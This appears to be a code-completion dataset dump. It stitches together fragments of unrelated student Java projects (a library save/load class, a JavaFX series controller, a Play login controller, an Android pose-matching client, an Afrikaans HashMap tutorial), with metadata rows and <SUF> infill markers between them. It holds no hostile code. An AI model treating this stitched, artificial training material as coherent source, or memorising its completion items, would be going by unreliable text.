return itemCode + 1; //return items.size() + 1; } public int generateMemberID() { int memberID = 0; for (Member member : members) { if (member.getMemberID() > memberID) { memberID = member.getMemberID(); } } return memberID + 1; } // save data for items private void saveDataForItems() { try { FileOutputStream fileOutputStream = new FileOutputStream("items.dat"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); // write loop for all items for (Item item : items) { objectOutputStream.writeObject(item); } objectOutputStream.close(); fileOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } } // save data for members and serialize private void saveDataForMembers() { try { FileOutputStream fileOutputStream = new FileOutputStream("members.dat"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); // write loop for all members for (Member member : members) { objectOutputStream.writeObject(member); } objectOutputStream.close(); fileOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } } public void saveData() { saveDataForItems(); saveDataForMembers(); } // load data for items public void loadDataForItems() throws IOException{ try { FileInputStream fileInputStream = new FileInputStream("items.dat"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); // read loop for all items while (true) { try { Item item = (Item) objectInputStream.readObject(); items.add(item); } catch (EOFException e) { break; } } objectInputStream.close(); fileInputStream.close(); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } // load data for members public void loadDataForMembers() throws IOException { try { FileInputStream fileInputStream = new FileInputStream("members.dat"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); // read loop for all members while (true) { try { Member member = (Member) objectInputStream.readObject(); members.add(member); } catch (EOFException e) { break; } } objectInputStream.close(); fileInputStream.close(); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } }
True
2,188
21
2,437
25
2,613
19
2,437
25
2,810
24
false
false
false
false
false
true
2,430
13774_0
package view.serie; import datalayer.MovieDAO; import datalayer.SerieDAO; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.scene.control.ChoiceBox; import javafx.scene.control.TableView; import javafx.scene.control.TextArea; import models.Episode; import models.Movie; import models.Serie; import java.util.ArrayList; import java.util.List; public class SerieControllerTableView implements EventHandler<ActionEvent>{ private TableView tableView; private TextArea gemiddeldeKijkTijdSerie; public SerieControllerTableView(TableView tableView, TextArea gemiddeldekijktijdSerie ){ this.tableView = tableView; this.gemiddeldeKijkTijdSerie = gemiddeldekijktijdSerie; } /** * Deze controller pakt alle episodes van een serie geselecteerd in de choicebox. * @param actionEvent */ @Override public void handle(ActionEvent actionEvent) { ChoiceBox btn = (ChoiceBox) actionEvent.getTarget(); Serie selectedSerie = (Serie) btn.getSelectionModel().getSelectedItem(); SerieDAO serieDAO = SerieDAO.getInstance(); this.tableView.getItems().clear(); List<Episode> episodes = serieDAO.getAllEpisodesBySerie(selectedSerie); for(Episode item : episodes){ this.tableView.getItems().add(item); } this.tableView.getSelectionModel().selectFirst(); } }
coenribbens/Netflix-statistix
src/main/java/view/serie/SerieControllerTableView.java
428
/** * Deze controller pakt alle episodes van een serie geselecteerd in de choicebox. * @param actionEvent */
block_comment
nl
package view.serie; import datalayer.MovieDAO; import datalayer.SerieDAO; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.scene.control.ChoiceBox; import javafx.scene.control.TableView; import javafx.scene.control.TextArea; import models.Episode; import models.Movie; import models.Serie; import java.util.ArrayList; import java.util.List; public class SerieControllerTableView implements EventHandler<ActionEvent>{ private TableView tableView; private TextArea gemiddeldeKijkTijdSerie; public SerieControllerTableView(TableView tableView, TextArea gemiddeldekijktijdSerie ){ this.tableView = tableView; this.gemiddeldeKijkTijdSerie = gemiddeldekijktijdSerie; } /** * Deze controller pakt<SUF>*/ @Override public void handle(ActionEvent actionEvent) { ChoiceBox btn = (ChoiceBox) actionEvent.getTarget(); Serie selectedSerie = (Serie) btn.getSelectionModel().getSelectedItem(); SerieDAO serieDAO = SerieDAO.getInstance(); this.tableView.getItems().clear(); List<Episode> episodes = serieDAO.getAllEpisodesBySerie(selectedSerie); for(Episode item : episodes){ this.tableView.getItems().add(item); } this.tableView.getSelectionModel().selectFirst(); } }
True
299
30
369
32
350
32
369
32
403
32
false
false
false
false
false
true
3,617
196345_2
package controllers; import models.Kunde.IKundenKomponente; import models.Kunde.KundenKomponente; import play.data.DynamicForm; import play.data.Form; import play.mvc.Controller; import play.mvc.Result; import views.html.*; /** * Created by dima on 29.04.15. */ public class User extends Controller { public static Result anmelden(){ DynamicForm loginData = Form.form().bindFromRequest(); String email = loginData.get("username"); String passwort = loginData.get("password"); IKundenKomponente kunde = new KundenKomponente(); return ok(login.render(kunde.anmelden(email, passwort)+"")); } public static Result registrieren(){ DynamicForm registrierenData = Form.form().bindFromRequest(); // Kunde String email = registrierenData.get("email"); String passwort= registrierenData.get("passwort"); String vorname = registrierenData.get("vorname"); String nachname = registrierenData.get("nachname"); String gebDatum = registrierenData.get("gebDatum"); String telefonNr = registrierenData.get("telefonNr"); // !!! FEHLT DAS GEBURTSDATUM !!! // Adresse String strasse = registrierenData.get("strasse"); String hausNr = registrierenData.get("hausNr"); String adressZs = registrierenData.get("adressZs"); String plz = registrierenData.get("plz"); String stadt = registrierenData.get("stadt"); // -1 = email schon registriert // 0 = erfolgreich registriert // 1 = fehlerhafte Eingabe // 2 = Registrieren zurzeit nicht möglich String statusMeldung = "Registrierung zurzeit nicht möglich"; // Typ umwandeln try { int hNr = Integer.parseInt(hausNr); int postLeitZahl = Integer.parseInt(plz); IKundenKomponente kKomponente = new KundenKomponente(); int bericht = kKomponente.registrieren(email,passwort,vorname,nachname,gebDatum,telefonNr,strasse,hNr,adressZs,postLeitZahl,stadt); if(bericht == -1){ statusMeldung = "diese E-Mail Adresse ist bereits vergeben"; }else if(bericht == 0) { statusMeldung = "erfolgreich registriert"; } } catch (Exception e){ statusMeldung = "ueberpruefen Sie die Eingaben"; } return ok(registrieren.render(statusMeldung)); } public static Result logout(){ // todo return null; } }
mcmyffin/SE2P_FahrradKonfigurator
Umsetzung/Build_Bike/app/controllers/User.java
772
// -1 = email schon registriert
line_comment
nl
package controllers; import models.Kunde.IKundenKomponente; import models.Kunde.KundenKomponente; import play.data.DynamicForm; import play.data.Form; import play.mvc.Controller; import play.mvc.Result; import views.html.*; /** * Created by dima on 29.04.15. */ public class User extends Controller { public static Result anmelden(){ DynamicForm loginData = Form.form().bindFromRequest(); String email = loginData.get("username"); String passwort = loginData.get("password"); IKundenKomponente kunde = new KundenKomponente(); return ok(login.render(kunde.anmelden(email, passwort)+"")); } public static Result registrieren(){ DynamicForm registrierenData = Form.form().bindFromRequest(); // Kunde String email = registrierenData.get("email"); String passwort= registrierenData.get("passwort"); String vorname = registrierenData.get("vorname"); String nachname = registrierenData.get("nachname"); String gebDatum = registrierenData.get("gebDatum"); String telefonNr = registrierenData.get("telefonNr"); // !!! FEHLT DAS GEBURTSDATUM !!! // Adresse String strasse = registrierenData.get("strasse"); String hausNr = registrierenData.get("hausNr"); String adressZs = registrierenData.get("adressZs"); String plz = registrierenData.get("plz"); String stadt = registrierenData.get("stadt"); // -1 =<SUF> // 0 = erfolgreich registriert // 1 = fehlerhafte Eingabe // 2 = Registrieren zurzeit nicht möglich String statusMeldung = "Registrierung zurzeit nicht möglich"; // Typ umwandeln try { int hNr = Integer.parseInt(hausNr); int postLeitZahl = Integer.parseInt(plz); IKundenKomponente kKomponente = new KundenKomponente(); int bericht = kKomponente.registrieren(email,passwort,vorname,nachname,gebDatum,telefonNr,strasse,hNr,adressZs,postLeitZahl,stadt); if(bericht == -1){ statusMeldung = "diese E-Mail Adresse ist bereits vergeben"; }else if(bericht == 0) { statusMeldung = "erfolgreich registriert"; } } catch (Exception e){ statusMeldung = "ueberpruefen Sie die Eingaben"; } return ok(registrieren.render(statusMeldung)); } public static Result logout(){ // todo return null; } }
False
631
9
705
10
649
8
705
10
793
10
false
false
false
false
false
true
2,801
10464_19
package org.tensorflow.demo; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.os.Environment; import android.util.Base64; import android.util.Log; import android.widget.TextView; import com.loopj.android.http.AsyncHttpClient; import com.loopj.android.http.JsonHttpResponseHandler; import com.loopj.android.http.RequestParams; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import org.tensorflow.demo.env.ImageUtils; import java.io.File; import java.io.FileNotFoundException; import java.util.ArrayList; import cz.msebera.android.httpclient.Header; /** * Created by Gil on 26/11/2017. */ public class ServerInterface implements UploadInterface{ // json antwoord van server op img http post (bevat gedetecteerde keypoints) private JSONObject keypointsResponse = null; // keypoints van eerste persoon private JSONArray keypoints_person1; // beslissing van pose matching door server ( na findmatch() ) private String matchOrNot; private double sp_score; private double mp_score; private double us_score; //private HashMap<String, Bitmap> modelPoses = new HashMap<>(); private ArrayList<String> modelPoses = new ArrayList<>(); private ArrayList<Keypoint> keypointListPerson1 = new ArrayList<>(); // Activity parent; wordt gebruikt om terug te singallen als async http post klaar is private UploadImageActivity parentCallback; public ServerInterface(UploadImageActivity parent){ parentCallback = parent; } public ServerInterface(){}; // asynch http post call dus met callback werken -> voor wanneer server terug antwoord public void findMatch(File imgToUpload, int modelId){ String Url = "http://1dr8.be/findmatch"; //If any auth is needed String username = "username"; String password = "password"; // Bitmap compressedImage = BitmapFactory.decodeStream(new ByteArrayInputStream(out.toByteArray())); AsyncHttpClient client = new AsyncHttpClient(); client.setBasicAuth(username, password); client.addHeader("enctype", "multipart/form-data"); RequestParams params = new RequestParams(); try { //params.put("pic", storeImage(imgToUpload)); params.put("file", imgToUpload); params.put("id", modelId); } catch (FileNotFoundException e) { Log.d("MyApp", "File not found!!!" + imgToUpload.getAbsolutePath()); } client.post(Url, params, new JsonHttpResponseHandler() { @Override public void onProgress(long bytesWritten, long totalSize) { super.onProgress(bytesWritten, totalSize); //Log.d(MainActivity.TAG, "PROGRESS: writen: " + bytesWritten + " totalsize: " + totalSize ); final long bytes = bytesWritten; final long total = totalSize; parentCallback.runOnUiThread(new Runnable() { @Override public void run() { // werkt niet!! ((TextView) parentCallback.findViewById(R.id.txt_status)).setText("Uploading ... " + bytes/total + "% complete"); //Log.d(MainActivity.TAG, "###In UI Thread!" ); //parentCallback.signalImgUploadProgress(bytesWritten, totalSize); } }); } @Override public void onSuccess(int statusCode, Header[] headers, JSONObject responseBody) { //Do what's needed Log.d("APP ", "Gelukt!!!:"); Log.d("APP", "antwoord: " + responseBody.toString()); keypointsResponse = responseBody; parseKeypointsJSON(); parseMatchJSON(); //signal parent activity upload is ready parentCallback.signalImgUploadReady(true, "server"); } @Override public void onFailure(int statusCode, Header[] headers, String errorResponse, Throwable error) { //Print error Log.d("APP", errorResponse + " " + error.toString()); Log.d("APP", "----ERROORRRRRRRRRR"); } }); } public ArrayList<String> getAllModels(MainActivity parent){ String Url = "http://1dr8.be/getAllPoses"; //If any auth is needed String username = "username"; String password = "password"; // Bitmap compressedImage = BitmapFactory.decodeStream(new ByteArrayInputStream(out.toByteArray())); AsyncHttpClient client = new AsyncHttpClient(); client.setBasicAuth(username, password); client.addHeader("enctype", "multipart/form-data"); modelPoses.clear(); client.get(Url, new JsonHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, JSONArray responseBody) { //Do what's needed Log.d("APP ", "Gelukt!!!:"); Log.d("APP", "antwoord: " + responseBody.toString()); String pic1 = ""; try { //pic1 = responseBody.getJSONObject(0).getString("foto"); //pic1 = responseBody.getJSONObject(0); for(int i=0; i<responseBody.length();i++){ pic1 = responseBody.getJSONObject(i).getString("foto"); final byte[] decodedBytes = Base64.decode(pic1.getBytes(), 0); Bitmap decodedByte = BitmapFactory.decodeByteArray(decodedBytes, 0, decodedBytes.length); modelPoses.add(responseBody.getJSONObject(i).getString("naam")); String randomFileName = responseBody.getJSONObject(i).getString("naam") + ".jpg"; //+ randomNum; ImageUtils.saveBitmap(decodedByte, randomFileName); String path_recorded_img = Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + "tensorflow/"+ randomFileName; Log.d("APP", "first pic: " + pic1); } } catch (JSONException e) { e.printStackTrace(); } } @Override public void onFailure(int statusCode, Header[] headers, String errorResponse, Throwable error) { //Print error Log.d("APP", errorResponse + " " + error.toString()); Log.d("APP", "----ERROORRRRRRRRRR"); } }); Log.d("APP", "refresh readyy !!!"); parent.displayFeedback("Models loaded"); return modelPoses; } private void parseMatchJSON() { try { //String match = keypointsResponse.getJSONObject("match").toString(); matchOrNot = String.valueOf(keypointsResponse.getBoolean("match")); sp_score = (double) keypointsResponse.getJSONArray("SP").get(0); mp_score = (double) Math.round(keypointsResponse.getDouble("MP")*100.0)/100.0; us_score = keypointsResponse.getDouble("US"); Log.d("APP" , "----match result: " + matchOrNot); } catch (JSONException e) { e.printStackTrace(); } } // oude functie toen findMatch() nog niet bestond en server enkel keypoints terug gaf. public void uploadNewModel(File imgToUpload, final MainActivity parent) { String Url = "http://1dr8.be/uploadPose"; //If any auth is needed String username = "username"; String password = "password"; // Bitmap compressedImage = BitmapFactory.decodeStream(new ByteArrayInputStream(out.toByteArray())); AsyncHttpClient client = new AsyncHttpClient(); client.setBasicAuth(username, password); client.addHeader("enctype", "multipart/form-data"); final RequestParams params = new RequestParams(); try { //params.put("pic", storeImage(imgToUpload)); params.put("file", imgToUpload); } catch (FileNotFoundException e) { Log.d("MyApp", "File not found!!!" + imgToUpload.getAbsolutePath()); } client.post(Url, params, new JsonHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, JSONObject responseBody) { //Do what's needed Log.d("APP ", "Gelukt!!!:"); Log.d("APP", "antwoord: " + responseBody.toString()); try { parent.displayFeedback("new model added with id " + String.valueOf(responseBody.getInt("id"))); } catch (JSONException e) { e.printStackTrace(); } } @Override public void onFailure(int statusCode, Header[] headers, String errorResponse, Throwable error) { //Print error Log.d("APP", errorResponse + " " + error.toString()); Log.d("APP", "----ERROORRRRRRRRRR"); parent.displayFeedback(errorResponse.toString()); } }); } //parsen van keypoints public void parseKeypointsJSON(){ try { JSONArray ar_people = keypointsResponse.getJSONArray("people"); Log.d("APP", ar_people.toString()); //get body keypoints of first person JSONArray ar_person1 = ar_people.getJSONObject(0).getJSONArray("pose_keypoints"); keypoints_person1 = ar_person1; Log.d("APP", ar_person1.toString()); for(int kp = 0; kp<keypoints_person1.length(); kp = kp+3){ try { double x = Double.parseDouble(keypoints_person1.get(kp).toString()); double y = Double.parseDouble(keypoints_person1.get(kp+1).toString()); keypointListPerson1.add(new Keypoint(x, y)); } catch (JSONException e) { e.printStackTrace(); } } } catch (JSONException e) { e.printStackTrace(); } } public JSONObject getKeypointsResponse() { return keypointsResponse; } public void setKeypointsResponse(JSONObject keypointsResponse) { this.keypointsResponse = keypointsResponse; } public JSONArray getKeypoints_person1() { return keypoints_person1; } public void setKeypoints_person1(JSONArray keypoints_person1) { this.keypoints_person1 = keypoints_person1; } public ArrayList<Keypoint> getKeypointListPerson1() { return keypointListPerson1; } public void setKeypointListPerson1(ArrayList<Keypoint> keypointListPerson1) { this.keypointListPerson1 = keypointListPerson1; } public String isMatchOrNot() { return matchOrNot; } public double getSp_score() { return sp_score; } public double getMp_score() { return mp_score; } public double getUs_score() { return us_score; } }
gilbeckers/PoseMatch_v3
src/org/tensorflow/demo/ServerInterface.java
3,017
// oude functie toen findMatch() nog niet bestond en server enkel keypoints terug gaf.
line_comment
nl
package org.tensorflow.demo; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.os.Environment; import android.util.Base64; import android.util.Log; import android.widget.TextView; import com.loopj.android.http.AsyncHttpClient; import com.loopj.android.http.JsonHttpResponseHandler; import com.loopj.android.http.RequestParams; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import org.tensorflow.demo.env.ImageUtils; import java.io.File; import java.io.FileNotFoundException; import java.util.ArrayList; import cz.msebera.android.httpclient.Header; /** * Created by Gil on 26/11/2017. */ public class ServerInterface implements UploadInterface{ // json antwoord van server op img http post (bevat gedetecteerde keypoints) private JSONObject keypointsResponse = null; // keypoints van eerste persoon private JSONArray keypoints_person1; // beslissing van pose matching door server ( na findmatch() ) private String matchOrNot; private double sp_score; private double mp_score; private double us_score; //private HashMap<String, Bitmap> modelPoses = new HashMap<>(); private ArrayList<String> modelPoses = new ArrayList<>(); private ArrayList<Keypoint> keypointListPerson1 = new ArrayList<>(); // Activity parent; wordt gebruikt om terug te singallen als async http post klaar is private UploadImageActivity parentCallback; public ServerInterface(UploadImageActivity parent){ parentCallback = parent; } public ServerInterface(){}; // asynch http post call dus met callback werken -> voor wanneer server terug antwoord public void findMatch(File imgToUpload, int modelId){ String Url = "http://1dr8.be/findmatch"; //If any auth is needed String username = "username"; String password = "password"; // Bitmap compressedImage = BitmapFactory.decodeStream(new ByteArrayInputStream(out.toByteArray())); AsyncHttpClient client = new AsyncHttpClient(); client.setBasicAuth(username, password); client.addHeader("enctype", "multipart/form-data"); RequestParams params = new RequestParams(); try { //params.put("pic", storeImage(imgToUpload)); params.put("file", imgToUpload); params.put("id", modelId); } catch (FileNotFoundException e) { Log.d("MyApp", "File not found!!!" + imgToUpload.getAbsolutePath()); } client.post(Url, params, new JsonHttpResponseHandler() { @Override public void onProgress(long bytesWritten, long totalSize) { super.onProgress(bytesWritten, totalSize); //Log.d(MainActivity.TAG, "PROGRESS: writen: " + bytesWritten + " totalsize: " + totalSize ); final long bytes = bytesWritten; final long total = totalSize; parentCallback.runOnUiThread(new Runnable() { @Override public void run() { // werkt niet!! ((TextView) parentCallback.findViewById(R.id.txt_status)).setText("Uploading ... " + bytes/total + "% complete"); //Log.d(MainActivity.TAG, "###In UI Thread!" ); //parentCallback.signalImgUploadProgress(bytesWritten, totalSize); } }); } @Override public void onSuccess(int statusCode, Header[] headers, JSONObject responseBody) { //Do what's needed Log.d("APP ", "Gelukt!!!:"); Log.d("APP", "antwoord: " + responseBody.toString()); keypointsResponse = responseBody; parseKeypointsJSON(); parseMatchJSON(); //signal parent activity upload is ready parentCallback.signalImgUploadReady(true, "server"); } @Override public void onFailure(int statusCode, Header[] headers, String errorResponse, Throwable error) { //Print error Log.d("APP", errorResponse + " " + error.toString()); Log.d("APP", "----ERROORRRRRRRRRR"); } }); } public ArrayList<String> getAllModels(MainActivity parent){ String Url = "http://1dr8.be/getAllPoses"; //If any auth is needed String username = "username"; String password = "password"; // Bitmap compressedImage = BitmapFactory.decodeStream(new ByteArrayInputStream(out.toByteArray())); AsyncHttpClient client = new AsyncHttpClient(); client.setBasicAuth(username, password); client.addHeader("enctype", "multipart/form-data"); modelPoses.clear(); client.get(Url, new JsonHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, JSONArray responseBody) { //Do what's needed Log.d("APP ", "Gelukt!!!:"); Log.d("APP", "antwoord: " + responseBody.toString()); String pic1 = ""; try { //pic1 = responseBody.getJSONObject(0).getString("foto"); //pic1 = responseBody.getJSONObject(0); for(int i=0; i<responseBody.length();i++){ pic1 = responseBody.getJSONObject(i).getString("foto"); final byte[] decodedBytes = Base64.decode(pic1.getBytes(), 0); Bitmap decodedByte = BitmapFactory.decodeByteArray(decodedBytes, 0, decodedBytes.length); modelPoses.add(responseBody.getJSONObject(i).getString("naam")); String randomFileName = responseBody.getJSONObject(i).getString("naam") + ".jpg"; //+ randomNum; ImageUtils.saveBitmap(decodedByte, randomFileName); String path_recorded_img = Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + "tensorflow/"+ randomFileName; Log.d("APP", "first pic: " + pic1); } } catch (JSONException e) { e.printStackTrace(); } } @Override public void onFailure(int statusCode, Header[] headers, String errorResponse, Throwable error) { //Print error Log.d("APP", errorResponse + " " + error.toString()); Log.d("APP", "----ERROORRRRRRRRRR"); } }); Log.d("APP", "refresh readyy !!!"); parent.displayFeedback("Models loaded"); return modelPoses; } private void parseMatchJSON() { try { //String match = keypointsResponse.getJSONObject("match").toString(); matchOrNot = String.valueOf(keypointsResponse.getBoolean("match")); sp_score = (double) keypointsResponse.getJSONArray("SP").get(0); mp_score = (double) Math.round(keypointsResponse.getDouble("MP")*100.0)/100.0; us_score = keypointsResponse.getDouble("US"); Log.d("APP" , "----match result: " + matchOrNot); } catch (JSONException e) { e.printStackTrace(); } } // oude functie<SUF> public void uploadNewModel(File imgToUpload, final MainActivity parent) { String Url = "http://1dr8.be/uploadPose"; //If any auth is needed String username = "username"; String password = "password"; // Bitmap compressedImage = BitmapFactory.decodeStream(new ByteArrayInputStream(out.toByteArray())); AsyncHttpClient client = new AsyncHttpClient(); client.setBasicAuth(username, password); client.addHeader("enctype", "multipart/form-data"); final RequestParams params = new RequestParams(); try { //params.put("pic", storeImage(imgToUpload)); params.put("file", imgToUpload); } catch (FileNotFoundException e) { Log.d("MyApp", "File not found!!!" + imgToUpload.getAbsolutePath()); } client.post(Url, params, new JsonHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, JSONObject responseBody) { //Do what's needed Log.d("APP ", "Gelukt!!!:"); Log.d("APP", "antwoord: " + responseBody.toString()); try { parent.displayFeedback("new model added with id " + String.valueOf(responseBody.getInt("id"))); } catch (JSONException e) { e.printStackTrace(); } } @Override public void onFailure(int statusCode, Header[] headers, String errorResponse, Throwable error) { //Print error Log.d("APP", errorResponse + " " + error.toString()); Log.d("APP", "----ERROORRRRRRRRRR"); parent.displayFeedback(errorResponse.toString()); } }); } //parsen van keypoints public void parseKeypointsJSON(){ try { JSONArray ar_people = keypointsResponse.getJSONArray("people"); Log.d("APP", ar_people.toString()); //get body keypoints of first person JSONArray ar_person1 = ar_people.getJSONObject(0).getJSONArray("pose_keypoints"); keypoints_person1 = ar_person1; Log.d("APP", ar_person1.toString()); for(int kp = 0; kp<keypoints_person1.length(); kp = kp+3){ try { double x = Double.parseDouble(keypoints_person1.get(kp).toString()); double y = Double.parseDouble(keypoints_person1.get(kp+1).toString()); keypointListPerson1.add(new Keypoint(x, y)); } catch (JSONException e) { e.printStackTrace(); } } } catch (JSONException e) { e.printStackTrace(); } } public JSONObject getKeypointsResponse() { return keypointsResponse; } public void setKeypointsResponse(JSONObject keypointsResponse) { this.keypointsResponse = keypointsResponse; } public JSONArray getKeypoints_person1() { return keypoints_person1; } public void setKeypoints_person1(JSONArray keypoints_person1) { this.keypoints_person1 = keypoints_person1; } public ArrayList<Keypoint> getKeypointListPerson1() { return keypointListPerson1; } public void setKeypointListPerson1(ArrayList<Keypoint> keypointListPerson1) { this.keypointListPerson1 = keypointListPerson1; } public String isMatchOrNot() { return matchOrNot; } public double getSp_score() { return sp_score; } public double getMp_score() { return mp_score; } public double getUs_score() { return us_score; } }
True
2,219
22
2,510
26
2,660
19
2,510
26
2,985
24
false
false
false
false
false
true
3,071
31704_3
import java.util.HashMap; public class BasicHashMaps { /*first things first die maps word hier as static verklaar *omdat ons die map in 'n static main method gaan gebruik * so dis nie noodwendig altyd nodig om jou hashmap as * static te verklaar nie. * * okay here we go :D */ //net 'n gewone hashMap waar integers (ints) gemap word //--------------------------------------------------------- static HashMap<String, Integer> basic = new HashMap<String, Integer>(); //static HashMap<String, int> basic = new HashMap<String, int>(); gewone 'int' sou nie werk nie soek 'Integer' //--------------------------------------------------------- //hashmap waar Human objects gemap word //--------------------------------------------------------- static HashMap<String, Human> map = new HashMap<String, Human>(); //--------------------------------------------------------- /* Net hoe 'n HashMap werk. * ------------------------ * Dit het 'n key en 'n value, HashMap<key, Value> * (1) die value is gemap na die key, dws die key stel die value voor * * (2) die verskil tussen HashMap en Hash table -> * HashMap - unsynchronized (concurrent) en laat 'null' values toe in die map * Hastable - Synchronized en laat nie 'null' values toe in die table * hulle werk basically dieselfde * (ek sal vir jou verduidelik wat dit beteken, maar moet nie te veel daaroor worry nie) * * (3) as daar twee key values is wat dieselfde is, word die een override. * dws net die nuutste een bestaan. * * Die maps word soos 'n array amper gebruik, baie dieselfde konsep * * */ public static void main(String[] args) { //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- System.out.println("Using the 'basic' HashMap"); System.out.println("---------------------------"); basic.put("one", 1); basic.put("two", 2); basic.put("seven", 7); System.out.println(basic); //wys vir jou wat als in jou map is. Human Objects display nie mooi nie System.out.println(basic.keySet());//wys die keys System.out.println(basic.values());// wys die values if(basic.containsKey("three")) { Human use1 = map.get("three"); System.out.println(use1.getname() + " Exists"); //stuur 1 terug indien die persoon daar is, null andersins } else { System.out.println("bestaan nie in 'Basic' map"); } int totV = 0; for(int v : basic.values()) { totV = totV+ v; } System.out.println("The total value of the basic Map is : "+totV); System.out.println("\n\n\n\n"); //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- System.out.println("Using the 'map' HashMap"); System.out.println("---------------------------"); //maak nuwe humans Human p1 = new Human("Jan", "de Wet", 3); Human p2 = new Human("sannie", "Pienaar", 20); //plaas humans in die map map.put("Person_1", p1); map.put("Person_2", p2); //kyk net hoe werk die funksies. System.out.println(map); //wys vir jou wat als in jou map is. Human Objects display nie mooi nie System.out.println(map.keySet());//wys die key System.out.println(map.values());//wys die values System.out.println(); //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //kyk net of die spesifieke human in die hashmap is. if(map.containsKey("Person_1")) { Human use1 = map.get("Person_1"); // die get metode stuur 'n Human object terug // hier wil ek maar net die Human klas se mothods kan gebruik. System.out.println(use1.getname() + " Exists"); } System.out.println(); //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ String ja = ""; //skep die variable waarin ek 'n string wil bou for(Human names : map.values()) // omdat die map.values() die Values (wat objects van tiepe Human is) in die map aanstuur, { // stoor ek hulle in 'n names variable van tiepe Human. ja = ja + names.getname()+" "; //gebruik die Human variable (name) om die Human methods te gebruik, om 'n string te bou, wat al die name bevat } System.out.println(ja);// print die String System.out.println(); //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Human use2 = map.get("Person_2"); //map.get() stuur die Human Object terug [amper net soos map.Valuas() in 'n for loop] System.out.println(use2.getname() +" "+ use2.getSname()+" is "+ use2.getAge()); System.out.println(); // een manier hoe om die map values te gebruik //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Hier is net 'n bewys dat wanneer daar 'n key value geadd word, wat alreeds in die HashMap bestaan, // dat dit heeltemal vervang word met die nuwe value. // dws die key map(point) nou na 'n nuwe object. Human p3 = new Human("koos ", "best", 50); map.put("Person_2", p3); Human use3 = map.get("Person_2"); System.out.println(use3.getname() +" "+ use3.getSname()+" is "+ use3.getAge()); //nou sien ons dat dit werklik gebeur het en dat die inskrywing (Sannie Pienaar, 20) //nie meer bestaan in die HashMap nie. //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- } }
iggydv/Java-projects
BasicHashMaps.java
1,805
//hashmap waar Human objects gemap word
line_comment
nl
import java.util.HashMap; public class BasicHashMaps { /*first things first die maps word hier as static verklaar *omdat ons die map in 'n static main method gaan gebruik * so dis nie noodwendig altyd nodig om jou hashmap as * static te verklaar nie. * * okay here we go :D */ //net 'n gewone hashMap waar integers (ints) gemap word //--------------------------------------------------------- static HashMap<String, Integer> basic = new HashMap<String, Integer>(); //static HashMap<String, int> basic = new HashMap<String, int>(); gewone 'int' sou nie werk nie soek 'Integer' //--------------------------------------------------------- //hashmap waar<SUF> //--------------------------------------------------------- static HashMap<String, Human> map = new HashMap<String, Human>(); //--------------------------------------------------------- /* Net hoe 'n HashMap werk. * ------------------------ * Dit het 'n key en 'n value, HashMap<key, Value> * (1) die value is gemap na die key, dws die key stel die value voor * * (2) die verskil tussen HashMap en Hash table -> * HashMap - unsynchronized (concurrent) en laat 'null' values toe in die map * Hastable - Synchronized en laat nie 'null' values toe in die table * hulle werk basically dieselfde * (ek sal vir jou verduidelik wat dit beteken, maar moet nie te veel daaroor worry nie) * * (3) as daar twee key values is wat dieselfde is, word die een override. * dws net die nuutste een bestaan. * * Die maps word soos 'n array amper gebruik, baie dieselfde konsep * * */ public static void main(String[] args) { //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- System.out.println("Using the 'basic' HashMap"); System.out.println("---------------------------"); basic.put("one", 1); basic.put("two", 2); basic.put("seven", 7); System.out.println(basic); //wys vir jou wat als in jou map is. Human Objects display nie mooi nie System.out.println(basic.keySet());//wys die keys System.out.println(basic.values());// wys die values if(basic.containsKey("three")) { Human use1 = map.get("three"); System.out.println(use1.getname() + " Exists"); //stuur 1 terug indien die persoon daar is, null andersins } else { System.out.println("bestaan nie in 'Basic' map"); } int totV = 0; for(int v : basic.values()) { totV = totV+ v; } System.out.println("The total value of the basic Map is : "+totV); System.out.println("\n\n\n\n"); //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- System.out.println("Using the 'map' HashMap"); System.out.println("---------------------------"); //maak nuwe humans Human p1 = new Human("Jan", "de Wet", 3); Human p2 = new Human("sannie", "Pienaar", 20); //plaas humans in die map map.put("Person_1", p1); map.put("Person_2", p2); //kyk net hoe werk die funksies. System.out.println(map); //wys vir jou wat als in jou map is. Human Objects display nie mooi nie System.out.println(map.keySet());//wys die key System.out.println(map.values());//wys die values System.out.println(); 